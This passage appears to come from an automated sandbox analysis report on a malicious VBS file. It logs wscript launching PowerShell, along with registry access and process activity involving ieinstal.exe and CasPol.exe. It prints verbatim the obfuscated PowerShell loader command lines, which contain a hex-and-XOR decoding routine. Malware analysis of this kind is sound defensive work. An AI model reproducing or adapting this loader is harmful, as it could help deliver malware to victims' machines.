Ge'Th9fi6Af9Sy1Af9Re7He8CrCWi8FoBSt8Ov2Be'Bl;Al`$AnHIndaclFocBu5Ta=OvHDeTWhBUn Ca'UdADe2Sy8Pi0In9Af1CaARi8Ha8PrAno8Sl1Py9Du0Gn8Ki9Ud8Po0MuAUnDNe8No4Ud8EpBAc8vi1Bj8Sp9St8Op0An'Af;Se`$OrHBydGrlCicFo6hm=CeHSkTInBHa Di'FaBIn7ApBin1waBbe6Em9Re5sa8No0Wo8Ai6mi8MiCBa8Pa4Sh8El9NoAStBFo8Un4Ko8Om8Lo8Ro0StCfo9ChCco5SyAJuDAg8AfCCo8In1Ps8In0FrAMi7Se9LaCTaBBr6er8TiCAp8Hu2PoCEp9SuCLo5miBRe5Ps9No0Wa8Ko7St8Sa9po8FuCCr8Eg6No'in;Hu`$InHCadUdlRocSt7mi=ReHPrTroBZe da'NeBPa7Ri9Di0Un8chBgn9Ea1Ku8SkCMe8Pr8Su8Di0OvCKa9MoCSa5SwAUd8Un8Bl4si8DiBLy8Un4ur8Gl2Fa8Fi0wh8Ne1Sc'Wa;Dd`$DeHOpdSelNocAz8Tr=ByHDiTSiBPy ev'AvBUn7Di8tr0Om8In3Ma8Fr9pr8ud0Pr8Fe6Tr9Br1Sl8Mi0Gr8In1biAVe1Hy8Sv0Ur8Hv9Pl8Bl0Kl8Ph2Ni8Se4Fa9Fy1Xy8ch0Na'Sa;Dr`$CoHAfdDolVocEn9nd=PiHKoTAsBEf In'PsAPrCGl8MuBFeATa8Fo8Kp0Un8Re8Co8UnAMe9Bl7At9GlCFoAFr8ny8ElAMi8Ek1Fy9St0Ek8Mi9He8Vr0Me'Re;Sv`$ReSActInyKarRekGoeArtunrHynWaeMu0Ov=InHAlTEtBBo Sk'SkAde8Sh9DeCPrASh1Ri8Sc0Va8Re9Ko8Co0sc8Da2St8Af4By9Sy1mi8Af0SuBHo1St9FeCfl9An5Ma8Ob0Cl'tr;Fo`$beSBatDiyAnrSukReeWatOprSunTheSt1Ch=AsHBeTLiBSk Le'SpAma6hs8mo9No8Da4Ha9Sa6ve9Po6stCUn9KoCNe5EnBSq5Pi9St0lo8Rn7Ch8Tw9Ud8BrCHy8fo6UnCfu9roCPh5PrBPa6Tm8Fe0Mi8Or4bl8Pr9Ra8Fa0Pr8Us1GlCLy9
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Damspils = """ReFGruKonNacSktDoiKloUtnHe GrHshTPuBMi Mi{G ud ho Pr HvpflaRurNoaVamSo(st[DeSBotOrrMoiAnnBogPh]Di`$HiHStSBl)Ro;Pa Ni vn Ra Sa`$InBvoyUntAlesisBe Sp=Af UnNBreGrwKr-ByOCabOmjcyeUncBytOr PrbGlyFotPreSt[Be]Av Fa(fo`$AlHDeSSt.MiLQueRinPegBatHahGe Te/Un Ev2Me)Ta;Sm Op Fo St ChFmooKurUn(Sc`$HaiDr=Di0Pr;Is Ly`$HaiPo Sn-OvlKitCo Dy`$FlHSpSpe.GyLSkeOknbrgCatSahAl;Ko Sp`$DeiTr+Da=sk2Ak)La{Ma Sp Wh Ko Gu Va St Ba Pt`$PrBUdySttAueBesUr[Hy`$OdiSt/Kf2Ar]Re Ka=De Ku[AbcFooTonPavToeUdrCotFu]je:Bo:SpTstoSkBGlyGrtPreUr(Su`$UiHDeSNo.caSpruCobOvsPotwerHyiLinTrgCu(St`$MaiMa,Le Di2My)In,Pa Pa1Az6No)Ju;Co Ba Rn`$GaBOpyTitSteBosDi[Au`$EliAd/As2Ma]Pa Ve=Tr Sh(Ci`$SpBAayTetOxeBosIn[Ra`$MaiOm/Ba2Am]Bo Do-TibDixGloMorPa En2Fr0ba1Om)He;Au Vg Re Mr as}Mi Mi[SuSKktTurspiFanMagOv]En[GrSInyHysCltCaeStmIn.StTPoeUdxUntKo.reEAfnThcUnoTrdariUnnRegTa]Be:Ka:OvASlSTrCPaIExIBr.DiGSaehatMiSOutAlrSpiTanSugBi(me`$ElbInyEttIneMasSu)Ci;By}Mi`$InRHaeGrcOvaGilSycTeiOptRhrRiaHitdieMe0Pi=LiHomTExBOv Sn'Ho9ThASnBVi0VaBAaARaBCiDplACoCGyAVo4OpEIn7WeAKoDPeAEx5OpAFr5Cu'bi;Ge`$EmRAfeBycDiaEmlUncheiAptrirExaHetsteBe1lb=GuHDaTGeBSk Le'Di8Rg4LyApr0InAViASpBReBBoACo6SiBSlAKoAFi6ScABrFMiBLiDSiEMo7Be9laEUnASt0BiAKo7WrFCaAUnFStBHoECh7Ra9ChCPaABe7SkBadAPaATr8HuAKeFskADoCkn8Sk7MaAPr8RoBCrDFoAPe0MeBLaFScAJuCNo8Te4BoAReCSpBDiDdeAun1BiATi6TuAWeDHeBIlARi'Im;Ga`$HoRIseMicCaaChlPocFoiTrtberDeaFltFoeXx2ma=RuHMeTOvBNo Pi'Ru8LyERaAObCMyBAnDUn9In9AnBIdBbaAHy6WiAspAUn8Pa8JoABiDFlASvDFaBDaBCiAbiCHaBjaAPrBanAFo'Ju;Sa`$MtRThehicHyaUnlCycSeiDetNorSnaEbtTeeDy3Ge=urHMaTPhBBu Ex'Si9AdABeBNa0OlBMiASkBBoDBrAMuCUnARu4HoECh7Be9SyBFoBusCOpAUn7FaBUnDSpAOp0haAAn4KiAReCSrESm7Ga8Ro0DoAGl7TiBfoDGlASiCYoBSuBDeAJo6FlBAi9Af9MaAKiASpCSaBFjBGaBFrFBnAsw0OvAWeACuAteCToBLaAOuEFo7Sa8Se1InATi8SpAEc7DeAFoDSaAOp5FoAAlCGi9CyBFiAReCKlADrFFe'Ko;Be`$ToRMaePrcNoaInlRecEtiMatInrWiaKotAleEx4Ga=FoHTiTBaBWe Un'OvBTrAHeBinDIlBPyBFaAEv0KoABe7AmAStEUn'Fo;Co`$SkRSeeVacobabrlincRyiDetGrrWhaChtFoeRa5Ba=ccHSpTAnBPr Au'In8VgEFnAPaCYpBMoDOm8Kl4RaAMu6DeACoDHuBHiCSnAHy5LoAGeCUd8Th1TrAFl8InAEn7TaAUnDBuAel5AfAKaCRe'Un;Af`$GaRDeeBocmyaMelMacKviOptMirHeaTrtPaeSa6Pl=HeHOmTKiBUl Ea'Ku9svBUb9LiDGe9NeASuBFe9foANaClaAInAHeAFy0FoAKh8CaATr5un8To7FlAEn8KoAHe4DoABiCdiEBl5HiEOi9Ha8Po1MaAfl0alATaDDiACiCAf8GiBSpBCa0ra9BuADuAAe0UdACaESjETr5GoEHa9Op9Ma9StBexCWoAStBKrARn5BeAFl0AmAarAAf'Uk;Jo`$TeRBaeRecNaaHolDrcJeiOmtImrOuaNotSoeKo7Re=SuHXyTRuBTa Tr'na9LiBFoBScCHuADe7AaBGrDJuACa0foAGi4AnAReCGlEYo5MaEKa9Or8Mi4deAIn8MoASj7EuAth8FuAFoEimAMeCUnABeDGi'Ty;do`$TeRFleVacInaMelUocPuiOvtWirLeaKntMneAn8St=TiHPaTPaBSt St'Tn9LiBChANoCLyAJoFLyAAs5DiAFaCViADmABoBCaDOpALvCGaAHiDPr8HaDVaAPoCOvAPo5TaANoCcrAPrEScACi8MeBApDnoAKaCLy'St;Un`$SmRFieSicSeaSelDicPaivatRarTeaPotReeDr9Ov=MeHDoTSiBSt ca'Ta8os0GlANo7Ro8Ch4PeATrCreAOp4BeASt6aaBAaBIlBAl0En8st4HoAFe6YeARaDlsBExCUnAUn5PrAPoCde'Fo;Ro`$StDnoeGomFgaSugcynKieretEviAmzPaaLmbBllUdePl0Co=PaHAlTAgBKi ma'Ba8Dr4noBSy0Sa8ToDHuAFrCTeAT
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFlTDuBSp su{Hi Cl An Pa BapinaCarZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca`$UdHBaSUd)Fr;Ag At Ud Ho Af`$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPayVrtSeeLa[Al]Po Bd(Me`$VaHTnSDe.ReLPeeNonVegMatunhSl Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe`$HaiOp=om0Pe;Fu Ma`$PhiDo Ge-MaltitSe Fa`$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un`$reiom+Re=Be2Du)Va{Fl Pl Re Ad Ot ta Sp Sk Ho`$DoBFeyDetLeegasSm[Fi`$geiAf/na2De]Od Ge=Sa Tr[RecSkoUnnLivKresirOrtBr]Il:Me:DaTDioDiBBoyPatGleSu(Po`$UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(Il`$StiPa,Su Jo2Po)Ca,Bl Af1Sn6Du)No;Ma Te Un`$miBKryPrtCheGtsPa[Du`$SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo`$SiBbiyIntOpeovsOl[Kb`$spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca Vr}Re Un[MuSkutSqrLaiApnNogBl]Pe[MaSChyInsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWaIFoIsa.MoGBaeButTaSGutUnrFriUlnIngBa(Ba`$FobSeyPitTheAnsId)li;Bl}Ga`$DeHBrdSalUncIr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6Pr9Gr1js8Et0Am8In8SeCEnBCa8co1In8Ta9Pr8Cr9De'Sy;Lu`$plHRvdaflFocIn1De=TrHDiTZiBVe Un'FeAKr8Re8TaCDe8Sl6Gr9Ag7is8XyASv9Sp6Sh8CaAHe8De3Bl9An1unCTiBteBAb2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve1un8ApCOp9dk3Bi8Co0SuACl8An8en0Un9In1Mo8DeDAn8PeAUd8Wu1Ra9Ca6Ba'Fo;El`$LoHBldNolSucBo2Ne=TnHBlTUnBSp Ne'siAFi2Sk8Ti0Di9Ul1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8Bi1Ka8Im1Wh9Gt7lo8Ge0Rr9Br6Br9Di6Ar'Fl;gr`$CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBeBwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa8Oc8Sc8He0NoCObBFoAToCDe8SiBSi9Se1Be8Or0Se9No7Fl8HuAOu9ty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr8we6Ou8Di0oc9Be6DaCKaBTeAUnDPu8Se4St8IsBEr8si1Ja8Ng9Li8Sp0FoBDi7Ci8Ex0Vi8st3sl'Sk;De`$FlHPedJalJdcTi4Ki=KlHStTPrBFo Ge'Th9fi6Af9Sy1Af9Re7He8CrCWi8FoBSt8Ov2Be'Bl;Al`$AnHIndaclFocBu5Ta=OvHDeTWhBUn Ca'UdADe2Sy8Pi0In9Af1CaARi8Ha8PrAno8Sl1Py9Du0Gn8Ki9Ud8Po0MuAUnDNe8No4Ud8EpBAc8vi1Bj8Sp9St8Op0An'Af;Se`$OrHBydGrlCicFo6hm=CeHSkTInBHa Di'FaBIn7ApBin1waBbe6Em9Re5sa8No0Wo8Ai6mi8MiCBa8Pa4Sh8El9NoAStBFo8Un4Ko8Om8Lo8Ro0StCfo9ChCco5SyAJuDAg8AfCCo8In1Ps8In0FrAMi7Se9LaCTaBBr6er8TiCAp8Hu2PoCEp9SuCLo5miBRe5Ps9No0Wa8Ko7St8Sa9po8FuCCr8Eg6No'in;Hu`$InHCadUdlRocSt7mi=ReHPrTroBZe da'NeBPa7Ri9Di0Un8chBgn9Ea1Ku8SkCMe8Pr8Su8Di0OvCKa9MoCSa5SwAUd8Un8Bl4si8DiBLy8Un4ur8Gl2Fa8Fi0wh8Ne1Sc'Wa;Dd`$DeHOpdSelNocAz8Tr=ByHDiTSiBPy ev'AvBUn7Di8tr0Om8In3Ma8Fr9pr8ud0Pr8Fe6Tr9Br1Sl8Mi0Gr8In1biAVe1Hy8Sv0Ur8Hv9Pl8Bl0Kl8Ph2Ni8Se4Fa9Fy1Xy8ch0Na'Sa;Dr`$CoHAfdDolVocEn9nd=PiHKoTAsBEf In'PsAPrCGl8MuBFeATa8Fo8Kp0Un8Re8Co8UnAMe9Bl7At9GlCFoAFr8ny8ElAMi8Ek1Fy9St0Ek8Mi9He8Vr0Me'Re;Sv`$ReSActInyKarRekGoeArtunrHynWaeMu0Ov=InHAlTEtBBo Sk'SkAde8Sh9DeCPrASh1Ri8Sc0Va8Re9Ko8Co0sc8Da2St8Af4By9Sy1mi8Af0SuBHo1St9FeCfl9An5Ma8Ob0Cl'tr;Fo`$beSBatDiyAnrSukReeWatOprSunTheSt1Ch=AsHBeTLiBSk Le'SpAma6hs8mo9No8Da4Ha9Sa6ve9Po6stCUn9KoCNe5EnBSq5Pi9St0lo8Rn7Ch8Tw9Ud8BrCHy8fo6UnCfu9roCPh5PrBPa6Tm8Fe0Mi8Or4bl8Pr9Ra8Fa0Pr8Us1GlCLy9	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Damspils = """ReFGruKonNacSktDoiKloUtnHe GrHshTPuBMi Mi{G ud ho Pr HvpflaRurNoaVamSo(st[DeSBotOrrMoiAnnBogPh]Di`$HiHStSBl)Ro;Pa Ni vn Ra Sa`$InBvoyUntAlesisBe Sp=Af UnNBreGrwKr-ByOCabOmjcyeUncBytOr PrbGlyFotPreSt[Be]Av Fa(fo`$AlHDeSSt.MiLQueRinPegBatHahGe Te/Un Ev2Me)Ta;Sm Op Fo St ChFmooKurUn(Sc`$HaiDr=Di0Pr;Is Ly`$HaiPo Sn-OvlKitCo Dy`$FlHSpSpe.GyLSkeOknbrgCatSahAl;Ko Sp`$DeiTr+Da=sk2Ak)La{Ma Sp Wh Ko Gu Va St Ba Pt`$PrBUdySttAueBesUr[Hy`$OdiSt/Kf2Ar]Re Ka=De Ku[AbcFooTonPavToeUdrCotFu]je:Bo:SpTstoSkBGlyGrtPreUr(Su`$UiHDeSNo.caSpruCobOvsPotwerHyiLinTrgCu(St`$MaiMa,Le Di2My)In,Pa Pa1Az6No)Ju;Co Ba Rn`$GaBOpyTitSteBosDi[Au`$EliAd/As2Ma]Pa Ve=Tr Sh(Ci`$SpBAayTetOxeBosIn[Ra`$MaiOm/Ba2Am]Bo Do-TibDixGloMorPa En2Fr0ba1Om)He;Au Vg Re Mr as}Mi Mi[SuSKktTurspiFanMagOv]En[GrSInyHysCltCaeStmIn.StTPoeUdxUntKo.reEAfnThcUnoTrdariUnnRegTa]Be:Ka:OvASlSTrCPaIExIBr.DiGSaehatMiSOutAlrSpiTanSugBi(me`$ElbInyEttIneMasSu)Ci;By}Mi`$InRHaeGrcOvaGilSycTeiOptRhrRiaHitdieMe0Pi=LiHomTExBOv Sn'Ho9ThASnBVi0VaBAaARaBCiDplACoCGyAVo4OpEIn7WeAKoDPeAEx5OpAFr5Cu'bi;Ge`$EmRAfeBycDiaEmlUncheiAptrirExaHetsteBe1lb=GuHDaTGeBSk Le'Di8Rg4LyApr0InAViASpBReBBoACo6SiBSlAKoAFi6ScABrFMiBLiDSiEMo7Be9laEUnASt0BiAKo7WrFCaAUnFStBHoECh7Ra9ChCPaABe7SkBadAPaATr8HuAKeFskADoCkn8Sk7MaAPr8RoBCrDFoAPe0MeBLaFScAJuCNo8Te4BoAReCSpBDiDdeAun1BiATi6TuAWeDHeBIlARi'Im;Ga`$HoRIseMicCaaChlPocFoiTrtberDeaFltFoeXx2ma=RuHMeTOvBNo Pi'Ru8LyERaAObCMyBAnDUn9In9AnBIdBbaAHy6WiAspAUn8Pa8JoABiDFlASvDFaBDaBCiAbiCHaBjaAPrBanAFo'Ju;Sa`$MtRThehicHyaUnlCycSeiDetNorSnaEbtTeeDy3Ge=urHMaTPhBBu Ex'Si9AdABeBNa0OlBMiASkBBoDBrAMuCUnARu4HoECh7Be9SyBFoBusCOpAUn7FaBUnDSpAOp0haAAn4KiAReCSrESm7Ga8Ro0DoAGl7TiBfoDGlASiCYoBSuBDeAJo6FlBAi9Af9MaAKiASpCSaBFjBGaBFrFBnAsw0OvAWeACuAteCToBLaAOuEFo7Sa8Se1InATi8SpAEc7DeAFoDSaAOp5FoAAlCGi9CyBFiAReCKlADrFFe'Ko;Be`$ToRMaePrcNoaInlRecEtiMatInrWiaKotAleEx4Ga=FoHTiTBaBWe Un'OvBTrAHeBinDIlBPyBFaAEv0KoABe7AmAStEUn'Fo;Co`$SkRSeeVacobabrlincRyiDetGrrWhaChtFoeRa5Ba=ccHSpTAnBPr Au'In8VgEFnAPaCYpBMoDOm8Kl4RaAMu6DeACoDHuBHiCSnAHy5LoAGeCUd8Th1TrAFl8InAEn7TaAUnDBuAel5AfAKaCRe'Un;Af`$GaRDeeBocmyaMelMacKviOptMirHeaTrtPaeSa6Pl=HeHOmTKiBUl Ea'Ku9svBUb9LiDGe9NeASuBFe9foANaClaAInAHeAFy0FoAKh8CaATr5un8To7FlAEn8KoAHe4DoABiCdiEBl5HiEOi9Ha8Po1MaAfl0alATaDDiACiCAf8GiBSpBCa0ra9BuADuAAe0UdACaESjETr5GoEHa9Op9Ma9StBexCWoAStBKrARn5BeAFl0AmAarAAf'Uk;Jo`$TeRBaeRecNaaHolDrcJeiOmtImrOuaNotSoeKo7Re=SuHXyTRuBTa Tr'na9LiBFoBScCHuADe7AaBGrDJuACa0foAGi4AnAReCGlEYo5MaEKa9Or8Mi4deAIn8MoASj7EuAth8FuAFoEimAMeCUnABeDGi'Ty;do`$TeRFleVacInaMelUocPuiOvtWirLeaKntMneAn8St=TiHPaTPaBSt St'Tn9LiBChANoCLyAJoFLyAAs5DiAFaCViADmABoBCaDOpALvCGaAHiDPr8HaDVaAPoCOvAPo5TaANoCcrAPrEScACi8MeBApDnoAKaCLy'St;Un`$SmRFieSicSeaSelDicPaivatRarTeaPotReeDr9Ov=MeHDoTSiBSt ca'Ta8os0GlANo7Ro8Ch4PeATrCreAOp4BeASt6aaBAaBIlBAl0En8st4HoAFe6YeARaDlsBExCUnAUn5PrAPoCde'Fo;Ro`$StDnoeGomFgaSugcynKieretEviAmzPaaLmbBllUdePl0Co=PaHAlTAgBKi ma'Ba8Dr4noBSy0Sa8ToDHuAFrCTeAT	Jump to behavior

Potential malicious VBS script found (suspicious strings)

Source:	Initial file: Fusendes.ShellExecute Nske,Br0, "", "", 0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Dropped file: Steuroperens.ShellExecute Meninger,Ma5, "", "", 0			Jump to dropped file

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 17542
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5700
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 19424
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 17542	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5700	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 19424	Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Code function: 8_2_032279D3	8_2_032279D3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07502A18	10_2_07502A18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07507430	10_2_07507430
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07507420	10_2_07507420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07510040	10_2_07510040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0751EFF8	10_2_0751EFF8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07517798	10_2_07517798
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07510040	10_2_07510040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0751EFE8	10_2_0751EFE8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07526EE8	10_2_07526EE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00B73068	13_2_00B73068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00B73D88	13_2_00B73D88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00B7FA20	13_2_00B7FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00B73650	13_2_00B73650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00B7C3B0	13_2_00B7C3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00B7EDD7	13_2_00B7EDD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00B7E6F9	13_2_00B7E6F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00E26EBC	13_2_00E26EBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_1D636FE0	13_2_1D636FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_1D63A1E0	13_2_1D63A1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_1D639910	13_2_1D639910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_1D6395C8	13_2_1D6395C8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: String function: 1D63D140 appears 54 times

Source: IMG_2022028022-0120.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\IMG_2022028022-0120.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFlTDuBSp su{Hi Cl An Pa BapinaCarZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca`$UdHBaSUd)Fr;Ag At Ud Ho Af`$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPayVrtSeeLa[Al]Po Bd(Me`$VaHTnSDe.ReLPeeNonVegMatunhSl Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe`$HaiOp=om0Pe;Fu Ma`$PhiDo Ge-MaltitSe Fa`$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un`$reiom+Re=Be2Du)Va{Fl Pl Re Ad Ot ta Sp Sk Ho`$DoBFeyDetLeegasSm[Fi`$geiAf/na2De]Od Ge=Sa Tr[RecSkoUnnLivKresirOrtBr]Il:Me:DaTDioDiBBoyPatGleSu(Po`$UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(Il`$StiPa,Su Jo2Po)Ca,Bl Af1Sn6Du)No;Ma Te Un`$miBKryPrtCheGtsPa[Du`$SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo`$SiBbiyIntOpeovsOl[Kb`$spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca Vr}Re Un[MuSkutSqrLaiApnNogBl]Pe[MaSChyInsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWaIFoIsa.MoGBaeButTaSGutUnrFriUlnIngBa(Ba`$FobSeyPitTheAnsId)li;Bl}Ga`$DeHBrdSalUncIr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6Pr9Gr1js8Et0Am8In8SeCEnBCa8co1In8Ta9Pr8Cr9De'Sy;Lu`$plHRvdaflFocIn1De=TrHDiTZiBVe Un'FeAKr8Re8TaCDe8Sl6Gr9Ag7is8XyASv9Sp6Sh8CaAHe8De3Bl9An1unCTiBteBAb2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve1un8ApCOp9dk3Bi8Co0SuACl8An8en0Un9In1Mo8DeDAn8PeAUd8Wu1Ra9Ca6Ba'Fo;El`$LoHBldNolSucBo2Ne=TnHBlTUnBSp Ne'siAFi2Sk8Ti0Di9Ul1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8Bi1Ka8Im1Wh9Gt7lo8Ge0Rr9Br6Br9Di6Ar'Fl;gr`$CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBeBwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa8Oc8Sc8He0NoCObBFoAToCDe8SiBSi9Se1Be8Or0Se9No7Fl8HuAOu9ty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr8we6Ou8Di0oc9Be6DaCKaBTeAUnDPu8Se4St8IsBEr8si1Ja8Ng9Li8Sp0FoBDi7Ci8Ex0Vi8st3sl'Sk;De`$FlHPedJalJdcTi4Ki=KlHStTPrBFo Ge'Th9fi6Af9Sy1Af9Re7He8CrCWi8FoBSt8Ov2Be'Bl;Al`$AnHIndaclFocBu5Ta=OvHDeTWhBUn Ca'UdADe2Sy8Pi0In9Af1CaARi8Ha8PrAno8Sl1Py9Du0Gn8Ki9Ud8Po0MuAUnDNe8No4Ud8EpBAc8vi1Bj8Sp9St8Op0An'Af;Se`$OrHBydGrlCicFo6hm=CeHSkTInBHa Di'FaBIn7ApBin1waBbe6Em9Re5sa8No0Wo8Ai6mi8MiCBa8Pa4Sh8El9NoAStBFo8Un4Ko8Om8Lo8Ro0StCfo9ChCco5SyAJuDAg8AfCCo8In1Ps8In0FrAMi7Se9LaCTaBBr6er8TiCAp8Hu2PoCEp9SuCLo5miBRe5Ps9No0Wa8Ko7St8Sa9po8FuCCr8Eg6No'in;Hu`$InHCadUdlRocSt7mi=ReHPrTroBZe da'NeBPa7Ri9Di0Un8chBgn9Ea1Ku8SkCMe8Pr8Su8Di0OvCKa9MoCSa5SwAUd8Un8Bl4si8DiBLy8Un4ur8Gl2Fa8Fi0wh8Ne1Sc'Wa;Dd`$DeHOpdSelNocAz8Tr=ByHDiTSiBPy ev'AvBUn7Di8tr0Om8In3Ma8Fr9pr8ud0Pr8Fe6Tr9Br1Sl8Mi0Gr8In1biAVe1Hy8Sv0Ur8Hv9Pl8Bl0Kl8Ph2Ni8Se4Fa9Fy1Xy8ch0Na'Sa;Dr`$CoHAfdDolVocEn9nd=PiHKoTAsBEf In'PsAPrCGl8MuBFeATa8Fo8Kp0Un8Re8Co8UnAMe9Bl7At9GlCFoAFr8ny8ElAMi8Ek1Fy9St0Ek8Mi9He8Vr0Me'Re;Sv`$ReSActInyKarRekGoeArtunrHynWaeMu0Ov=InHAlTEtBBo Sk'SkAde8Sh9DeCPrASh1Ri8Sc0Va8Re9Ko8Co0sc8Da2St8Af4By9Sy1mi8Af0SuBHo1St9FeCfl9An5Ma8Ob0Cl'tr;Fo`$beSBatDiyAnrSukReeWatOprSunTheSt1Ch=AsHBeTLiBSk Le'SpAma6hs8mo9No8Da4Ha9Sa6ve9Po6stCUn9KoCNe5EnBSq5Pi9St0lo8Rn7Ch8Tw9Ud8BrCHy8fo6UnCfu9roCPh5PrBPa6Tm8Fe0Mi8Or4bl8Pr9Ra8Fa0Pr8Us1GlCLy9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
